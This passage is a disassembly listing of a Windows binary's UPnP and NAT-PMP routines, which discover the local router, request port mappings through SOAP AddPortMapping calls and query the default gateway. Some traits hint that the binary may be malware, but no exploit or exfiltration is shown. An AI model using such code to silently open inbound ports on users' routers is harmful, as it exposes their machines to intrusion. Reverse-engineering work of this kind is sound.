eax loc_4025A6: ; CODE XREF: sub_402562+20j pop esi pop ebx retn sub_402562 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4025A9 proc near ; CODE XREF: sub_402B02+337p var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 468h push ebx push esi push edi push 10h push 0 lea eax, [ebp+var_5C] push eax call sub_407960 add esp, 0Ch mov [ebp+var_5C], 2 xor di, di push offset aHttp ; "http://" push [ebp+arg_0] call sub_402511 pop ecx pop ecx mov ebx, eax test ebx, ebx jnz short loc_4025EB xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_4025EA: ; CODE XREF: sub_4025A9+4Aj inc ebx loc_4025EB: ; CODE XREF: sub_4025A9+38j mov al, [ebx] test al, al jz short loc_4025F5 cmp al, 2Fh jnz short loc_4025EA loc_4025F5: ; CODE XREF: sub_4025A9+46j jmp short loc_4025F8 ; --------------------------------------------------------------------------- loc_4025F7: ; CODE XREF: sub_4025A9+57j inc ebx loc_4025F8: ; CODE XREF: sub_4025A9:loc_4025F5j mov al, [ebx] test al, al jz short loc_402602 cmp al, 2Fh jz short loc_4025F7 loc_402602: ; CODE XREF: sub_4025A9+53j xor esi, esi jmp short loc_40261A ; --------------------------------------------------------------------------- loc_402606: ; CODE XREF: sub_4025A9+7Dj cmp esi, 3Fh jb short loc_402612 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402612: ; CODE XREF: sub_4025A9+60j mov al, [ebx] mov [ebp+esi+var_40], al inc esi inc ebx loc_40261A: ; CODE XREF: sub_4025A9+5Bj mov al, [ebx] test al, al jz short loc_402628 cmp al, 3Ah jz short loc_402628 cmp al, 2Fh jnz short loc_402606 loc_402628: ; CODE XREF: sub_4025A9+75j ; sub_4025A9+79j mov [ebp+esi+var_40], 0 cmp byte ptr [ebx], 3Ah jz short loc_402639 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402639: ; CODE XREF: sub_4025A9+87j inc ebx cmp byte ptr [ebx], 0 jnz short loc_402660 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402646: ; CODE XREF: sub_4025A9+C3j movzx eax, di lea eax, [eax+eax*4] add eax, eax mov di, ax movzx eax, di movsx edx, byte ptr [ebx] sub edx, 30h add eax, edx mov di, ax inc ebx loc_402660: ; CODE XREF: sub_4025A9+94j mov al, [ebx] test al, al jz short loc_40266E cmp al, 30h jl short loc_40266E cmp al, 39h jle short loc_402646 loc_40266E: ; CODE XREF: sub_4025A9+BBj ; sub_4025A9+BFj cmp di, 1 jnb short loc_40267C xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_40267B: ; CODE XREF: sub_4025A9+DBj inc ebx loc_40267C: ; CODE XREF: sub_4025A9+C9j mov al, [ebx] test al, al jz short loc_402686 cmp al, 2Fh jnz short loc_40267B loc_402686: ; CODE XREF: sub_4025A9+D7j cmp byte ptr [ebx], 0 jnz short loc_402692 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402692: ; CODE XREF: sub_4025A9+E0j lea eax, [ebp+var_40] push eax call sub_407098 ; inet_addr mov [ebp+var_58], eax movzx eax, di push eax call sub_407068 ; htons mov [ebp+var_5A], ax movzx eax, di push eax lea eax, [ebp+var_40] push eax push offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n" call sub_4075F0 add esp, 0Ch push 6 push 1 push 2 call sub_40704A ; socket mov [ebp+var_44], eax cmp eax, 0FFFFFFFFh jnz short loc_4026D9 and [ebp+var_44], 0 loc_4026D9: ; CODE XREF: sub_4025A9+12Aj cmp [ebp+var_44], 0 jnz short loc_4026E6 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_4026E6: ; CODE XREF: sub_4025A9+134j lea eax, [ebp+var_40] push eax call sub_407098 ; inet_addr movzx edx, di push edx push eax push [ebp+var_44] call sub_401567 add esp, 0Ch test eax, eax jnz short loc_402713 push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402713: ; CODE XREF: sub_4025A9+158j movzx eax, di push eax lea eax, [ebp+var_40] push eax push ebx push offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"... lea eax, [ebp+var_45C] push eax call sub_407650 add esp, 14h lea eax, [ebp+var_45C] push eax call sub_4079E0 pop ecx mov [ebp+var_48], eax push [ebp+var_48] lea eax, [ebp+var_45C] push eax push [ebp+var_44] call sub_401787 add esp, 0Ch cmp eax, [ebp+var_48] jz short loc_40276A push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_40276A: ; CODE XREF: sub_4025A9+1AFj push [ebp+var_44] call sub_402562 pop ecx push 10000h call sub_401048 pop ecx mov [ebp+var_4C], eax push 0FFFFh push [ebp+var_4C] push [ebp+var_44] call sub_401713 add esp, 0Ch mov [ebp+var_48], eax test eax, eax jnz short loc_4027D2 push [ebp+var_44] call sub_401542 pop ecx mov [ebp+var_468], eax cmp eax, 0FFFFh jle short loc_4027BB mov [ebp+var_468], 0FFFFh loc_4027BB: ; CODE XREF: sub_4025A9+206j push [ebp+var_468] push [ebp+var_4C] push [ebp+var_44] call sub_4016DC add esp, 0Ch mov [ebp+var_48], eax loc_4027D2: ; CODE XREF: sub_4025A9+1F0j push [ebp+var_48] movzx eax, di push eax lea eax, [ebp+var_40] push eax push offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"... call sub_4075F0 add esp, 10h cmp [ebp+var_48], 1 jge short loc_402809 push [ebp+var_4C] call sub_401076 pop ecx push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402809: ; CODE XREF: sub_4025A9+245j push offset asc_40F5EE ; "\n" push [ebp+var_4C] call sub_407A50 pop ecx pop ecx mov [ebp+var_460], eax test eax, eax jnz short loc_402838 push [ebp+var_4C] call sub_401076 pop ecx push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp short loc_40288F ; --------------------------------------------------------------------------- loc_402838: ; CODE XREF: sub_4025A9+277j push offset a200 ; "200" push [ebp+var_4C] call sub_407A50 pop ecx pop ecx mov [ebp+var_464], eax test eax, eax jz short loc_402859 cmp eax, [ebp+var_460] jbe short loc_40286F loc_402859: ; CODE XREF: sub_4025A9+2A6j push [ebp+var_4C] call sub_401076 pop ecx push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp short loc_40288F ; --------------------------------------------------------------------------- loc_40286F: ; CODE XREF: sub_4025A9+2AEj push [ebp+var_44] call sub_4014C2 pop ecx lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407A00 pop ecx pop ecx mov edx, [ebp+arg_8] mov [edx], di mov eax, [ebp+var_4C] loc_40288F: ; CODE XREF: sub_4025A9+3Cj ; sub_4025A9+64j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4025A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402896 proc near ; CODE XREF: sub_402B02+50Fp ; sub_402B02+53Dp var_2014 = dword ptr -2014h var_2010 = dword ptr -2010h var_200C = dword ptr -200Ch var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = word ptr 18h arg_14 = word ptr 1Ch push ebp mov ebp, esp mov eax, 2014h call sub_407AC0 push ebx push esi push edi movzx eax, [ebp+arg_10] push eax movzx eax, [ebp+arg_14] push eax push offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"... lea eax, [ebp+var_2008] push eax call sub_407650 add esp, 10h lea eax, [ebp+var_2008] push eax call sub_4079E0 pop ecx mov [ebp+var_200C], eax cmp [ebp+arg_0], 0 jz short loc_402904 push [ebp+var_200C] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_C] push offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"... lea eax, [ebp+var_1008] push eax call sub_407650 add esp, 18h jmp short loc_402929 ; --------------------------------------------------------------------------- loc_402904: ; CODE XREF: sub_402896+45j push [ebp+var_200C] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_C] push offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"... lea eax, [ebp+var_1008] push eax call sub_407650 add esp, 18h loc_402929: ; CODE XREF: sub_402896+6Cj lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push eax call sub_407A20 pop ecx pop ecx movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n" call sub_4075F0 add esp, 0Ch call sub_401359 mov edi, eax test eax, eax jz loc_402AFB push [ebp+arg_4] call sub_407098 ; inet_addr movzx edx, [ebp+arg_8] push edx push eax push edi call sub_401567 add esp, 0Ch test eax, eax jnz short loc_40298B push edi call sub_4014C2 pop ecx xor eax, eax jmp loc_402AFB ; --------------------------------------------------------------------------- loc_40298B: ; CODE XREF: sub_402896+E5j lea eax, [ebp+var_1008] push eax call sub_4079E0 pop ecx mov [ebp+var_4], eax push [ebp+var_4] lea eax, [ebp+var_1008] push eax push edi call sub_401787 add esp, 0Ch cmp eax, [ebp+var_4] jz short loc_4029C1 push edi call sub_4014C2 pop ecx xor eax, eax jmp loc_402AFB ; --------------------------------------------------------------------------- loc_4029C1: ; CODE XREF: sub_402896+11Bj push edi call sub_402562 pop ecx push 10000h call sub_401048 pop ecx mov [ebp+var_8], eax push 0FFFFh push [ebp+var_8] push edi call sub_401713 add esp, 0Ch mov [ebp+var_4], eax test eax, eax jnz short loc_402A21 push edi call sub_401542 pop ecx mov [ebp+var_2014], eax cmp eax, 0FFFFh jle short loc_402A0C mov [ebp+var_2014], 0FFFFh loc_402A0C: ; CODE XREF: sub_402896+16Aj push [ebp+var_2014] push [ebp+var_8] push edi call sub_4016DC add esp, 0Ch mov [ebp+var_4], eax loc_402A21: ; CODE XREF: sub_402896+156j push [ebp+var_4] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "... call sub_4075F0 add esp, 10h cmp [ebp+var_4], 1 jge short loc_402A56 push [ebp+var_8] call sub_401076 pop ecx push edi call sub_4014C2 pop ecx xor eax, eax jmp loc_402AFB ; --------------------------------------------------------------------------- loc_402A56: ; CODE XREF: sub_402896+1A7j push offset asc_40F5EE ; "\n" push [ebp+var_8] call sub_407A50 pop ecx pop ecx mov [ebp+var_2010], eax test eax, eax jnz short loc_402A83 push [ebp+var_8] call sub_401076 pop ecx push edi call sub_4014C2 pop ecx xor eax, eax jmp short loc_402AFB ; --------------------------------------------------------------------------- loc_402A83: ; CODE XREF: sub_402896+1D7j mov ebx, [ebp+var_8] jmp short loc_402A89 ; --------------------------------------------------------------------------- loc_402A88: ; CODE XREF: sub_402896+1FBj inc ebx loc_402A89: ; CODE XREF: sub_402896+1F0j mov al, [ebx] test al, al jz short loc_402A93 cmp al, 20h jnz short loc_402A88 loc_402A93: ; CODE XREF: sub_402896+1F7j jmp short loc_402A96 ; --------------------------------------------------------------------------- loc_402A95: ; CODE XREF: sub_402896+208j inc ebx loc_402A96: ; CODE XREF: sub_402896:loc_402A93j mov al, [ebx] test al, al jz short loc_402AA0 cmp al, 20h jz short loc_402A95 loc_402AA0: ; CODE XREF: sub_402896+204j xor esi, esi jmp short loc_402AB4 ; --------------------------------------------------------------------------- loc_402AA4: ; CODE XREF: sub_402896+22Aj lea esi, [esi+esi*4] add esi, esi movsx eax, byte ptr [ebx] sub eax, 30h add esi, eax inc ebx jmp short loc_402AC2 ; --------------------------------------------------------------------------- loc_402AB4: ; CODE XREF: sub_402896+20Cj mov al, [ebx] test al, al jz short loc_402AC2 cmp al, 30h jl short loc_402AC2 cmp al, 39h jle short loc_402AA4 loc_402AC2: ; CODE XREF: sub_402896+21Cj ; sub_402896+222j ... push esi movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."... call sub_4075F0 add esp, 10h cmp esi, 2 jz short loc_402AF1 push [ebp+var_8] call sub_401076 pop ecx push edi call sub_4014C2 pop ecx xor eax, eax jmp short loc_402AFB ; --------------------------------------------------------------------------- loc_402AF1: ; CODE XREF: sub_402896+245j push edi call sub_4014C2 pop ecx xor eax, eax inc eax loc_402AFB: ; CODE XREF: sub_402896+C6j ; sub_402896+F0j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402896 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B02 proc near ; CODE XREF: sub_40356A+6Cp ; sub_404CDF+150p var_18A0 = dword ptr -18A0h var_189C = byte ptr -189Ch var_188C = dword ptr -188Ch var_1888 = dword ptr -1888h var_1884 = dword ptr -1884h var_187E = byte ptr -187Eh var_183E = word ptr -183Eh var_183C = dword ptr -183Ch var_1838 = dword ptr -1838h var_1834 = dword ptr -1834h var_1830 = dword ptr -1830h var_182C = dword ptr -182Ch var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_181C = word ptr -181Ch var_181A = word ptr -181Ah var_1818 = dword ptr -1818h var_1809 = byte ptr -1809h var_1409 = byte ptr -1409h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, 18A0h call sub_407AC0 push ebx push esi push edi mov [ebp+var_1820], 3E8h cmp [ebp+arg_0], 0 jnz short loc_402B2B mov ax, [ebp+arg_4] mov [ebp+arg_0], ax loc_402B2B: ; CODE XREF: sub_402B02+1Fj push 10h push 0 lea eax, [ebp+var_181C] push eax call sub_407960 add esp, 0Ch mov [ebp+var_181C], 2 push offset a239_255_255_25 ; "239.255.255.250" call sub_407098 ; inet_addr mov [ebp+var_1818], eax push 76Ch call sub_407068 ; htons mov [ebp+var_181A], ax mov [ebp+var_404], 1 push 11h push 2 push 2 call sub_40704A ; socket mov [ebp+var_408], eax and [ebp+var_1828], 0 mov [ebp+var_1824], 1 push offset a239_255_255_25 ; "239.255.255.250" call sub_407098 ; inet_addr mov [ebp+var_1828], eax push 8 lea eax, [ebp+var_1828] push eax push 5 push 0 mov eax, [ebp+var_408] push eax call sub_407050 ; setsockopt test eax, eax jge short loc_402BCC push offset aShit ; "shit!\n" call sub_4075F0 pop ecx loc_402BCC: ; CODE XREF: sub_402B02+BDj lea eax, [ebp+var_181C] mov [ebp+var_182C], eax push 10h push [ebp+var_182C] mov eax, [ebp+var_408] push eax call sub_407074 ; bind cmp eax, 0FFFFFFFFh jnz loc_403082 push offset aXbind___ ; "xbind...\n" call sub_4075F0 pop ecx jmp loc_403082 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_402B02+587j mov [ebp+var_1884], 10h push [ebp+var_404] push offset aSendingIupnpDi ; "sending IUPnP discovery request #%i...\n"... call sub_4075F0 pop ecx pop ecx push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."... call sub_4079E0 pop ecx push 10h lea edx, [ebp+var_181C] push edx push 0 push eax push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."... mov eax, [ebp+var_408] push eax call sub_4070B6 ; sendto test eax, eax jge short loc_402C60 mov eax, [ebp+var_408] push eax call sub_407056 ; closesocket xor eax, eax jmp loc_40309D ; --------------------------------------------------------------------------- loc_402C60: ; CODE XREF: sub_402B02+149j push [ebp+var_404] push offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."... call sub_4075F0 pop ecx pop ecx push 4 lea eax, [ebp+var_1820] push eax push 1006h push 0FFFFh mov eax, [ebp+var_408] push eax call sub_407050 ; setsockopt test eax, eax jge short loc_402CA8 mov eax, [ebp+var_408] push eax call sub_407056 ; closesocket xor eax, eax jmp loc_40309D ; --------------------------------------------------------------------------- loc_402CA8: ; CODE XREF: sub_402B02+191j push [ebp+var_404] push offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."... call sub_4075F0 pop ecx pop ecx lea eax, [ebp+var_1884] push eax lea eax, [ebp+var_189C] push eax push 0 push 1000h lea eax, [ebp+var_1409] push eax mov eax, [ebp+var_408] push eax call sub_4070BC ; recvfrom test eax, eax jge short loc_402D12 call sub_4070C2 ; WSAGetLastError cmp eax, 274Ch jnz short loc_402CFF cmp [ebp+var_404], 3 jnz loc_40307C loc_402CFF: ; CODE XREF: sub_402B02+1EEj mov eax, [ebp+var_408] push eax call sub_407056 ; closesocket xor eax, eax jmp loc_40309D ; --------------------------------------------------------------------------- loc_402D12: ; CODE XREF: sub_402B02+1E2j mov eax, [ebp+var_1884] mov [ebp+eax+var_1409], 0 push [ebp+var_404] push offset aIupnpDiscovery ; "IUPnP discovery request #%i -- checking"... call sub_4075F0 pop ecx pop ecx push offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"... lea eax, [ebp+var_1409] push eax call sub_402511 pop ecx pop ecx test eax, eax jnz short loc_402D60 push [ebp+var_404] push offset aIupnpDiscove_0 ; "IUPnP discovery request #%i: bad (0)..."... call sub_4075F0 pop ecx pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402D60: ; CODE XREF: sub_402B02+245j push offset aLocation ; "location" lea eax, [ebp+var_1409] push eax call sub_402511 pop ecx pop ecx mov ebx, eax test ebx, ebx jnz short loc_402D91 push [ebp+var_404] push offset aIupnpDiscove_1 ; "IUPnP discovery request #%i: bad (1)..."... call sub_4075F0 pop ecx pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402D90: ; CODE XREF: sub_402B02+297j inc ebx loc_402D91: ; CODE XREF: sub_402B02+275j mov al, [ebx] test al, al jz short loc_402D9B cmp al, 3Ah jnz short loc_402D90 loc_402D9B: ; CODE XREF: sub_402B02+293j cmp byte ptr [ebx], 0 jz short loc_402DA4 inc ebx jmp short loc_402DA4 ; --------------------------------------------------------------------------- loc_402DA3: ; CODE XREF: sub_402B02+2AAj inc ebx loc_402DA4: ; CODE XREF: sub_402B02+29Cj ; sub_402B02+29Fj mov al, [ebx] test al, al jz short loc_402DAE cmp al, 20h jz short loc_402DA3 loc_402DAE: ; CODE XREF: sub_402B02+2A6j lea eax, [ebp+var_1809] mov [ebp+var_1834], eax jmp short loc_402DCD ; --------------------------------------------------------------------------- loc_402DBC: ; CODE XREF: sub_402B02+2D3j mov edx, [ebp+var_1834] mov al, [ebx] mov [edx], al inc [ebp+var_1834] inc ebx loc_402DCD: ; CODE XREF: sub_402B02+2B8j mov al, [ebx] test al, al jz short loc_402DD7 cmp al, 20h jg short loc_402DBC loc_402DD7: ; CODE XREF: sub_402B02+2CFj mov edx, [ebp+var_1834] mov byte ptr [edx], 0 lea eax, [ebp+var_1809] push eax call sub_4079E0 pop ecx test eax, eax jnz short loc_402E08 push [ebp+var_404] push offset aIupnpDiscove_2 ; "IUPnP discovery request #%i: bad (2)..."... call sub_4075F0 pop ecx pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402E08: ; CODE XREF: sub_402B02+2EDj mov [ebp+var_183E], 0 lea eax, [ebp+var_1809] push eax push offset aLocationS ; "location: <%s>\n" call sub_4075F0 pop ecx pop ecx lea eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax lea eax, [ebp+var_1809] push eax call sub_4025A9 add esp, 0Ch mov [ebp+var_183C], eax test eax, eax jnz short loc_402E62 push [ebp+var_404] push offset aIupnpDiscove_3 ; "IUPnP discovery request #%i: bad (3)..."... call sub_4075F0 pop ecx pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402E62: ; CODE XREF: sub_402B02+347j push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"... push [ebp+var_183C] call sub_402511 pop ecx pop ecx mov [ebp+var_188C], eax test eax, eax jnz short loc_402E8F push [ebp+var_183C] call sub_401076 pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402E8F: ; CODE XREF: sub_402B02+37Aj mov eax, [ebp+var_183C] mov [ebp+var_1830], eax loc_402E9B: ; CODE XREF: sub_402B02+3CBj push offset aService_0 ; "<service>" push [ebp+var_1830] call sub_402511 pop ecx pop ecx mov [ebp+var_18A0], eax test eax, eax jz short loc_402EBF cmp eax, [ebp+var_1830] jbe short loc_402EC1 loc_402EBF: ; CODE XREF: sub_402B02+3B3j jmp short loc_402ECF ; --------------------------------------------------------------------------- loc_402EC1: ; CODE XREF: sub_402B02+3BBj mov eax, [ebp+var_18A0] mov [ebp+var_1830], eax jmp short loc_402E9B ; --------------------------------------------------------------------------- loc_402ECF: ; CODE XREF: sub_402B02:loc_402EBFj push offset aService ; "</service>" push [ebp+var_1830] call sub_402511 pop ecx pop ecx mov [ebp+var_1888], eax test eax, eax jnz short loc_402EFC push [ebp+var_183C] call sub_401076 pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402EFC: ; CODE XREF: sub_402B02+3E7j push offset aControlurl ; "<controlURL>" push [ebp+var_1830] call sub_402511 pop ecx pop ecx mov esi, eax test esi, esi jz short loc_402F1C cmp esi, [ebp+var_1888] jb short loc_402F2D loc_402F1C: ; CODE XREF: sub_402B02+410j push [ebp+var_183C] call sub_401076 pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402F2D: ; CODE XREF: sub_402B02+418j push 400h push 0 lea eax, [ebp+var_400] push eax call sub_407960 add esp, 0Ch jmp short loc_402F46 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402B02+44Cj inc esi loc_402F46: ; CODE XREF: sub_402B02+441j mov al, [esi] test al, al jz short loc_402F50 cmp al, 3Eh jnz short loc_402F45 loc_402F50: ; CODE XREF: sub_402B02+448j cmp byte ptr [esi], 0 jz short loc_402F56 inc esi loc_402F56: ; CODE XREF: sub_402B02+451j cmp byte ptr [esi], 0 jnz short loc_402F6C push [ebp+var_183C] call sub_401076 pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402F6C: ; CODE XREF: sub_402B02+457j and [ebp+var_1838], 0 jmp short loc_402F8B ; --------------------------------------------------------------------------- loc_402F75: ; CODE XREF: sub_402B02+491j mov eax, [ebp+var_1838] mov dl, [esi] mov [ebp+eax+var_400], dl inc [ebp+var_1838] inc esi loc_402F8B: ; CODE XREF: sub_402B02+471j mov al, [esi] test al, al jz short loc_402F95 cmp al, 3Ch jnz short loc_402F75 loc_402F95: ; CODE XREF: sub_402B02+48Dj mov eax, [ebp+var_1838] mov [ebp+eax+var_400], 0 push offset aHttp ; "http://" lea eax, [ebp+var_400] push eax call sub_402511 pop ecx pop ecx mov edi, eax test edi, edi jnz short loc_402FC5 lea edi, [ebp+var_400] jmp short loc_402FF5 ; --------------------------------------------------------------------------- loc_402FC4: ; CODE XREF: sub_402B02+4CBj inc edi loc_402FC5: ; CODE XREF: sub_402B02+4B8j mov al, [edi] test al, al jz short loc_402FCF cmp al, 3Ah jnz short loc_402FC4 loc_402FCF: ; CODE XREF: sub_402B02+4C7j cmp byte ptr [edi], 0 jz short loc_402FD8 inc edi jmp short loc_402FD8 ; --------------------------------------------------------------------------- loc_402FD7: ; CODE XREF: sub_402B02+4DEj inc edi loc_402FD8: ; CODE XREF: sub_402B02+4D0j ; sub_402B02+4D3j mov al, [edi] test al, al jz short loc_402FE2 cmp al, 2Fh jz short loc_402FD7 loc_402FE2: ; CODE XREF: sub_402B02+4DAj cmp byte ptr [edi], 0 jz short loc_402FEB inc edi jmp short loc_402FEB ; --------------------------------------------------------------------------- loc_402FEA: ; CODE XREF: sub_402B02+4F1j inc edi loc_402FEB: ; CODE XREF: sub_402B02+4E3j ; sub_402B02+4E6j mov al, [edi] test al, al jz short loc_402FF5 cmp al, 2Fh jnz short loc_402FEA loc_402FF5: ; CODE XREF: sub_402B02+4C0j ; sub_402B02+4EDj movzx eax, [ebp+arg_4] push eax movzx eax, [ebp+arg_0] push eax push edi movzx eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax push 0 call sub_402896 add esp, 18h test eax, eax jnz short loc_403059 movzx eax, [ebp+arg_4] push eax movzx eax, [ebp+arg_0] push eax lea eax, [ebp+var_400] push eax movzx eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax push 1 call sub_402896 add esp, 18h test eax, eax jnz short loc_403059 push [ebp+var_183C] call sub_401076 pop ecx jmp short loc_40307C ; --------------------------------------------------------------------------- loc_403059: ; CODE XREF: sub_402B02+519j ; sub_402B02+547j push [ebp+var_404] push offset aIupnpDiscove_4 ; "IUPnP discovery request #%i: ok.\n" call sub_4075F0 pop ecx pop ecx mov eax, [ebp+var_408] push eax call sub_407056 ; closesocket xor eax, eax inc eax jmp short loc_40309D ; --------------------------------------------------------------------------- loc_40307C: ; CODE XREF: sub_402B02+1F7j ; sub_402B02+259j ... inc [ebp+var_404] loc_403082: ; CODE XREF: sub_402B02+EDj ; sub_402B02+FEj cmp [ebp+var_404], 3 jl loc_402C05 mov eax, [ebp+var_408] push eax call sub_407056 ; closesocket xor eax, eax loc_40309D: ; CODE XREF: sub_402B02+159j ; sub_402B02+1A1j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402B02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030A4 proc near ; CODE XREF: sub_403113+16p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi and [ebp+var_4], 0 xor esi, esi push 3Ch call sub_401048 pop ecx mov ebx, eax test eax, eax jz short loc_40310D push 0 lea eax, [ebp+var_4] push eax push ebx call sub_4070C8 ; GetIpForwardTable cmp eax, 7Ah jnz short loc_4030E8 push ebx call sub_401076 pop ecx mov eax, [ebp+var_4] push eax call sub_401048 pop ecx mov ebx, eax test eax, eax jz short loc_40310D loc_4030E8: ; CODE XREF: sub_4030A4+2Bj push 0 lea eax, [ebp+var_4] push eax push ebx call sub_4070C8 ; GetIpForwardTable test eax, eax jnz short loc_403104 mov eax, [ebx] mov [ebp+var_8], eax test eax, eax jz short loc_403104 mov esi, [ebx+10h] loc_403104: ; CODE XREF: sub_4030A4+52j ; sub_4030A4+5Bj push ebx call sub_401076 pop ecx mov eax, esi loc_40310D: ; CODE XREF: sub_4030A4+1Aj ; sub_4030A4+42j pop esi pop ebx mov esp, ebp pop ebp retn sub_4030A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403113 proc near ; CODE XREF: sub_40356A+17p ; sub_404CDF+F5p var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = dword ptr -0B8h var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = dword ptr -0A8h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = word ptr -94h var_92 = word ptr -92h var_90 = dword ptr -90h var_84 = dword ptr -84h var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_78 = byte ptr -78h push ebp mov ebp, esp sub esp, 0C0h push ebx push esi push edi mov [ebp+var_9C], 0FAh call sub_4030A4 mov [ebp+var_84], eax test eax, eax jz loc_40331B mov [ebp+var_94], 2 mov eax, [ebp+var_84] mov [ebp+var_90], eax push 14E7h call sub_407068 ; htons mov [ebp+var_92], ax mov eax, [ebp+var_84] mov [ebp+var_98], eax push eax call sub_4070B0 ; inet_ntoa push eax push offset aDefaultGateway ; "default gateway: [%s]\n" call sub_4075F0 pop ecx pop ecx xor ebx, ebx inc ebx push 11h push 2 push 2 call sub_40704A ; socket mov esi, eax push 10h push 0 lea eax, [ebp+var_AC] push eax call sub_407960 add esp, 0Ch mov [ebp+var_AC], 2 mov eax, [ebp+var_84] mov [ebp+var_A8], eax push 14E7h call sub_407068 ; htons mov [ebp+var_AA], ax lea edi, [ebp+var_AC] push 10h push edi push esi call sub_407074 ; bind jmp loc_40330A ; --------------------------------------------------------------------------- loc_4031DE: ; CODE XREF: sub_403113+1FAj mov [ebp+var_C0], 10h push ebx push offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n" call sub_4075F0 pop ecx pop ecx mov [ebp+var_80], 0 mov [ebp+var_7F], 0 push 10h loc_4031FF: ; DATA XREF: DMN1:00451870o lea eax, [ebp+var_94] push eax push 0 push 2 lea eax, [ebp+var_80] push eax push esi call sub_4070B6 ; sendto test eax, eax jge short loc_403225 push esi call sub_407056 ; closesocket xor eax, eax jmp loc_40331B ; --------------------------------------------------------------------------- loc_403225: ; CODE XREF: sub_403113+103j push ebx push offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n" call sub_4075F0 pop ecx pop ecx push 4 lea eax, [ebp+var_9C] push eax push 1006h push 0FFFFh push esi call sub_407050 ; setsockopt test eax, eax jge short loc_40325C push esi call sub_407056 ; closesocket xor eax, eax jmp loc_40331B ; --------------------------------------------------------------------------- loc_40325C: ; CODE XREF: sub_403113+13Aj push ebx push offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n" call sub_4075F0 pop ecx pop ecx lea 